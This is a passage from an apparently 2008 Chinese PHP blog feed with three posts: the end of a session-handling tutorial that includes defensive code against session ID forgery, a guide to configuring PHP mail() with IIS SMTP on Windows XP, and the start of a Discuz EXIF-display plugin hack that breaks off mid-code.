rgb(0,1,2); FONT-FAMILY: Verdana">.</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br>string session_cache_limiter() </span><span style=" FONT-FAMILY: 宋体">控制使用</span><span lang=EN-US style=" FONT-FAMILY: Verdana">session</span><span style=" FONT-FAMILY: 宋体">的页面的客户端缓存</span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana"><br>ini&nbsp;&nbsp;&nbsp; session_cache_expire() </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">控制客户端缓存时间</span><span lang=EN-US style=" FONT-FAMILY: Verdana"><br><span style="COLOR: rgb(255,1,2)">bool&nbsp;&nbsp; session_destroy()&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">删除服务器端保存</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">信息的文件</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">void&nbsp;&nbsp; session_set_cookie_params ( int lifetime [, string path [, string domain [, bool secure [, bool httponly]]]] )</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">设置与这个</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">相关联的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的细节</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">定义处理</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的函数</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,(</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">不是使用默认的方式</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">)<br></span><span lang=EN-US style=" COLOR: rgb(255,1,2); FONT-FAMILY: Verdana">bool session_regenerate_id([bool delete_old_session])</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"> </span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">分配新的</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session id<br><br><br></span><strong><span lang=EN-US style=" COLOR: rgb(0,128,255); FONT-FAMILY: Verdana">2.7 session</span></strong><strong><span style=" COLOR: rgb(0,128,255); FONT-FAMILY: 宋体">安全问题</span></strong><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana"><br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">攻击者通过投入很大的精力尝试获得现有用户的有效会话</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">ID,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">有了会话</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">id,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">他们就有可能能够在系统中拥有与此用户相同的能力</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.<br></span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">因此</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">,</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">我们主要解决的思路是效验</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">session ID</span><span style=" COLOR: rgb(0,1,2); FONT-FAMILY: 宋体">的有效性</span><span lang=EN-US style=" COLOR: rgb(0,1,2); FONT-FAMILY: Verdana">.</span></p>
<span style="COLOR: rgb(0,0,204)">&lt;</span><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,255)">php</span><br>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,255)">if</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">!</span><span style="COLOR: rgb(255,0,0)">isset</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'user_agent'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">{</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'user_agent'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'REMOTE_ADDR'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">.</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'HTTP_USER_AGENT'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">;</span><br><span style="COLOR: rgb(0,0,204)">}</span><br><br><span style="COLOR: rgb(255,153,0)">/* 如果用户session ID是伪造 */</span><br><span style="COLOR: rgb(0,0,255)">elseif</span> <span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'user_agent'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">!</span><span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'REMOTE_ADDR'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">.</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'HTTP_USER_AGENT'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">)</span> <span style="COLOR: rgb(0,0,204)">{</span><br>&nbsp;&nbsp;&nbsp; <span style="COLOR: rgb(255,0,0)"></span></span></code><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(255,0,0)">session_regenerate_id</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span></span></code><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(255,0,0)"></span><span style="COLOR: rgb(0,0,204)"></span><br><span style="COLOR: rgb(0,0,204)">}</span><br><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,204)">&gt;</span></span></code></p>
<p class=MsoNormal><span lang=EN-US style=" FONT-FAMILY: Verdana"><br><strong style="COLOR: rgb(0,128,255)">2.8 Session</strong></span><strong style="COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">通过</span></strong><strong style="COLOR: rgb(0,128,255)"><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie</span></strong><strong style="COLOR: rgb(0,128,255)"><span style=" FONT-FAMILY: 宋体">传递和通过SID传递的不同</span></strong><strong><span lang=EN-US style=" FONT-FAMILY: Verdana"><span style="COLOR: rgb(0,128,255)">:</span><br></span></strong><span style=" FONT-FAMILY: 宋体">在</span><span lang=EN-US style=" FONT-FAMILY: Verdana">php<st1:chsdate year="1899" month="12" day="30" islunardate="False" isrocdate="False" w:st="on">5.2.1</st1:chsdate></span><span style=" FONT-FAMILY: 宋体">的</span><span lang=EN-US style=" FONT-FAMILY: Verdana">session</span><span style=" FONT-FAMILY: 宋体">的默认配置的情况下</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">当生成</span><span lang=EN-US style=" FONT-FAMILY: Verdana">session</span><span style=" FONT-FAMILY: 宋体">的同时</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">服务器端将在发送</span><span lang=EN-US style=" FONT-FAMILY: Verdana">header set-cookie</span><span style=" FONT-FAMILY: 宋体">同时</span><span style=" FONT-FAMILY: 宋体">生成预定义超级全局变量</span><span lang=EN-US style=" FONT-FAMILY: Verdana">SID(</span><span style=" FONT-FAMILY: 宋体">也就是说</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">写入</span><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie</span><span style=" FONT-FAMILY: 宋体">和抛出</span><span lang=EN-US style=" FONT-FAMILY: Verdana">SID</span><span style=" FONT-FAMILY: 宋体">是等价的</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.),</span><span style=" FONT-FAMILY: 宋体">当</span><span lang=EN-US style=" FONT-FAMILY: Verdana">$_COOKIE['PHPSESSID']</span><span style=" FONT-FAMILY: 宋体">存在以后</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,</span><span style=" FONT-FAMILY: 宋体">将不再写入</span><span lang=EN-US style=" FONT-FAMILY: Verdana">cookie,</span><span style=" FONT-FAMILY: 宋体">也不再生成超级全局变量</span><span lang=EN-US style=" FONT-FAMILY: Verdana">SID,</span><span style=" FONT-FAMILY: 宋体">此时</span><span lang=EN-US style=" FONT-FAMILY: Verdana">,SID</span><span style=" FONT-FAMILY: 宋体">将是空的</span><span lang=EN-US style=" FONT-FAMILY: Verdana">.</span></p>
<br><br><span style="FONT-WEIGHT: bold; COLOR: rgb(0,128,255)">2.9 session使用实例</span><br>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)">&lt;</span><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,255)">php</span><br><span style="COLOR: rgb(255,153,0)">/**<br>&nbsp;* 效验session的合法性<br>&nbsp;*<br>&nbsp;*/</span><br><span style="COLOR: rgb(0,0,255)">function</span> sessionVerify<span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span> <span style="COLOR: rgb(0,0,204)">{</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,255)">if</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">!</span><span style="COLOR: rgb(255,0,0)">isset</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'user_agent'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">{</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'user_agent'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,0)">MD5</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'REMOTE_ADDR'</span><span style="COLOR: rgb(0,0,204)">]</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,204)">.</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'HTTP_USER_AGENT'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,204)">}</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(255,153,0)">/* 如果用户session ID是伪造,则重新分配session ID */</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,255)">elseif</span> <span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'user_agent'</span><span style="COLOR: rgb(0,0,204)">]</span> <span style="COLOR: rgb(0,0,204)">!</span><span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,0)">MD5</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'REMOTE_ADDR'</span><span style="COLOR: rgb(0,0,204)">]</span> <br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,204)">.</span> <span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SERVER</span><span style="COLOR: rgb(0,0,204)">[</span><span style="COLOR: rgb(255,0,255)">'HTTP_USER_AGENT'</span><span style="COLOR: rgb(0,0,204)">]</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">)</span> <span style="COLOR: rgb(0,0,204)">{</span><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(255,0,0)">session_regenerate_id</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,204)">}</span><br><span style="COLOR: rgb(0,0,204)">}</span><br><br><span style="COLOR: rgb(255,153,0)">/**<br>&nbsp;* 销毁session<br>&nbsp;* 三步完美实现,不可漏<br>&nbsp;*<br>&nbsp;*/</span><br><span style="COLOR: rgb(0,0,255)">function</span> sessionDestroy<span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span> <span style="COLOR: rgb(0,0,204)">{</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(255,0,0)">session_destroy</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(255,0,0)">setcookie</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(255,0,0)">session_name</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">,</span><span style="COLOR: rgb(255,0,255)">''</span><span style="COLOR: rgb(0,0,204)">,</span><span style="COLOR: rgb(255,0,0)">time</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">-</span>3600<span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br>&nbsp;&nbsp;&nbsp;&nbsp;<span style="COLOR: rgb(0,0,255)">$</span><span style="COLOR: rgb(0,128,128)">_SESSION</span> <span style="COLOR: rgb(0,0,204)">=</span> <span style="COLOR: rgb(255,0,0)">array</span><span style="COLOR: rgb(0,0,204)">(</span><span style="COLOR: rgb(0,0,204)">)</span><span style="COLOR: rgb(0,0,204)">;</span><br><span style="COLOR: rgb(0,0,204)">}</span><br><span style="COLOR: rgb(0,0,204)">?</span><span style="COLOR: rgb(0,0,204)">&gt;</span></span></code></p>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><br><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)"></span></span></code></p>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)">注明: <br></span></span></code></p>
<p style="MARGIN: 5px; LINE-HEIGHT: 150%"><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)">&nbsp;&nbsp;&nbsp; session 出现头信息已经发出的原因与cookie一样.<br></span></span></code><code><span style="COLOR: rgb(0,0,0)"><span style="COLOR: rgb(0,0,204)">&nbsp;&nbsp;&nbsp; 在php5中,所有php session 的注册表配置选项都是编程时可配置的,一般情况下,我们是不用修改其配置的.要了解php的session注册表配置选项,请参考手册的Session 会话处理函数处.</span></span></code><br></p>
<div></div>
<div></div>
<div></div>
<div></div>
<div>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session的保存数据的时候，是通过系列化$_SESSION数组来存贮，所以有系列化所拥有的问题，可能有特殊字符的值要用base64_encode函数编码，读取的时候再用base64_decode解码<br><br>cmpan(at)qq.com<br>流水孟春<br>lib.cublog.cn<br><br>转载请注</div><img src ="http://www.phpweblog.net/killjin/aggbug/2652.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2008-01-06 04:26 <a href="http://www.phpweblog.net/killjin/archive/2008/01/06/2652.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>php的mail函数在WinXP+IIS环境下的应用/设置</title><link>http://www.phpweblog.net/killjin/archive/2008/01/02/2631.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Tue, 01 Jan 2008 19:55:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2008/01/02/2631.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2631.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2008/01/02/2631.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2631.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2631.html</trackback:ping><description><![CDATA[<p>php在IIS环境中的配置就不多说了，用windows下的php安装文件的话不会遇到什么问题。</p>
<p>困难的事情是发送电子邮件的设置，php有个默认的发送邮件的函数mail，这个函数的说明可以在php的官方网站找到（我觉得是官网，也不一定。。。）：</p>
<p><u><font color=#0000ff><a href="http://cn.php.net/manual/zh/ref.mail.php#ini.smtp">http://cn.php.net/manual/zh/ref.mail.php#ini.smtp</a></font></u><a href="http://cn.php.net/manual/zh/ini.core.php"><font color=#0000ff></font></a></p>
<p>貌似这个函数只支持没有身份验证的smtp服务器，所以要把本机上的smtp服务器开成没有身份验证的。</p>
<p>配置的过程中有两个问题：一是smtp的配置，二是php方面的配置（php.ini文件）。</p>
<p>smtp的配置，最终目标是使得IIS自带的smtp server可以正常的发信，这中间我经过了好几个步骤，还是学了点东西：</p>
<p>1. 启动smtp服务。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 打开iis，发现我这儿的&#8220;默认smtp虚拟目录&#8221;居然画了&#8220;叉&#8221;，不能用啊，右键启动，又说启动不了，请去&#8220;事件查看器&#8221;看log。这个&#8220;事件查看器&#8221;在控制面板-&gt;管理工具下面，smtp的事件信息在&#8220;系统&#8221;一栏，&#8220;来源&#8221;是&#8220;SMTPSVC&#8221;。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 的确是有出错的项目，双击打开看，提示错误号115，请去下面的网站找：</p>
<p><a href="http://www.microsoft.com/contentredirect.asp">http://www.microsoft.com/contentredirect.asp</a></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个是microsoft的技术支持网站，还是挺不错的，不过建议搜索的时候在英文网页中搜索，因为很多中文网页都是英文网页直接用翻译机翻译过来的，不容易看懂。。。</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 搜索smtpsvc 115 最后在这个网页找到了办法：</p>
<p><a href="http://support.microsoft.com/kb/322023/en-us">http://support.microsoft.com/kb/322023/en-us</a></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大致是说25端口被占用了，在cmd下用下面的命令查看，</p>
<p><span class=userInput>Netstat -an | find ":25" </span></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其实应该用 netstat -ano | find ":25"，因为这样可以看到占用的进程id，然后再去任务管理器中查看对应的id，发现是ccproxy（我机器上开的一个代理服务器软件），也提供了smtp代理，占用了25端口，于是禁用ccproxy中的smtp代理服务，终于可以打开&#8220;默认smtp虚拟目录&#8221;了！</p>
<p>2. 调整smtp服务的权限：</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个是网上很多人问的问题，就是用php服务，在smtp服务打开的情况下，调用mail()函数，返回</p>
<p>[function.mail] SMTP server response: 550 5.7.1 Unable to relay</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个在下面这个网页找到了解决方案：</p>
<p><a href="http://blog.csdn.net/aifox/archive/2006/01/26/589117.aspx">http://blog.csdn.net/aifox/archive/2006/01/26/589117.aspx</a></p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 关键是：</p>
<p>&#8220;据说是中继的问题<br>然后依照指示<br>虚拟服务器-&gt;属性-&gt;访问-&gt;中继<br>将那个复选框选好，然后再添加了127.0.0.1的本地地址<br>测试，ok&#8221;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 我也是按照这个步骤做的就对了，这个地方实际上是smtp本身的权限设置，就是允许哪些地址来的请求，居然本机地址不在默认允许之列（实际上默认允许之列没有任何地址）。这样就可以发邮件了。</p>
<p>3. php的配置：php.ini</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 找到windows目录下的php.ini文件，这是php的动态配置文件，里面内容很详细了，关于mail配置的是这一段：</p>
<p>[mail function]<br>; For Win32 only.<br>SMTP = localhost ; for Win32 only<br>smtp_port = 25<br>sendmail_from= <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#109;&#101;&#64;&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;">me@localhost</a> ; for Win32 only</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中sendmail_from是提交给smtp服务器的发信人地址，如果这封信没发到，那么smtp会根据这个地址把信退回来，并附上错误信息。我就是第一次没发到，结果去smtp的路径C:\Inetpub\mailroot\Queue下面一看，发现一封名字无法识别的邮件，打开一看才知道是发向<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#109;&#101;&#64;&#108;&#111;&#99;&#97;&#108;&#104;&#111;&#115;&#116;">me@localhost</a>的退信。</p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 到这里mail函数相关的配置就都有了，不过我这里还有个问题：就是那封退信的内容，退信是发到邮箱了，但是原信为什么没发到呢？看了退信的内容才知道，原来是对方的邮件服务器拒掉了，理由是Diagnostic-Code: smtp;554 Connection refused(mx). MAIL FROM [me@localhost] mismatches client IP [xxx.xxx.xxx.xxx]. 这个是为什么我还不清楚，我猜是因为我的机器在内网？总之是这个邮箱有检测，要不然退信就发不到我另一个邮箱了。</p>
<img src ="http://www.phpweblog.net/killjin/aggbug/2631.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2008-01-02 03:55 <a href="http://www.phpweblog.net/killjin/archive/2008/01/02/2631.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>显示数码图片的EXIF信息 Discuz插件ForDZ5.0</title><link>http://www.phpweblog.net/killjin/archive/2008/01/01/2629.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Mon, 31 Dec 2007 20:27:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2008/01/01/2629.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2629.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2008/01/01/2629.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2629.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2629.html</trackback:ping><description><![CDATA[这个插件最早是由JackMing发布在freediscuz上的for discuz 2.0版本，后来我将他更新至2.5 sp1版本，现移植至for D4.x和D5版，其实移植过程无需太多修改，为了方便需要的朋友，我重新整理下，如有错误希望原作者和使用过的朋友指正。<br><br><strong>9月14号</strong><br><strong>现发现有未解决的问题：</strong><br>1，开了水印功能便无法显示EXIF信息，有网友好像有了解决方案，本人最近比较忙，望能补充完善他。<br>2，下载附件来路检查功能开启有时会失效<br>3，无法在UTF8版本中使用，会乱码<br>4，有可能不支持php5，此条暂时有待证实<br><br>+++++++++++++++++++++++++<br>HACK名稱： 显示数码图片的EXIF信息<br>適用版本： discuz!5<br>原作者： JackMing&nbsp;&nbsp;（老么 修改移植至 for D5版本）<br>修改文件： viewthread.php<br>修改模板： viewthread.htm<br>+++++++++++++++++++++++++<br><br><strong>安装步骤</strong><br><br>1、修改文件viewthread.php<br><br>查找：<font face="Courier New">$postlist[$attach['pid']]['attachments'][$attach['aid']]<br><br>在前面填入：<br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">/*</span><span style="COLOR: #008000">--------------------------------<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;显示jpeg和tiff图片的EXIF信息</span><span style="COLOR: #008000">*/</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">&nbsp;((</span><span style="COLOR: #800080">$extension</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">jpg</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #800080">$extension</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">jpeg</span><span style="COLOR: #000000">'</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">&amp;&amp;</span><span style="COLOR: 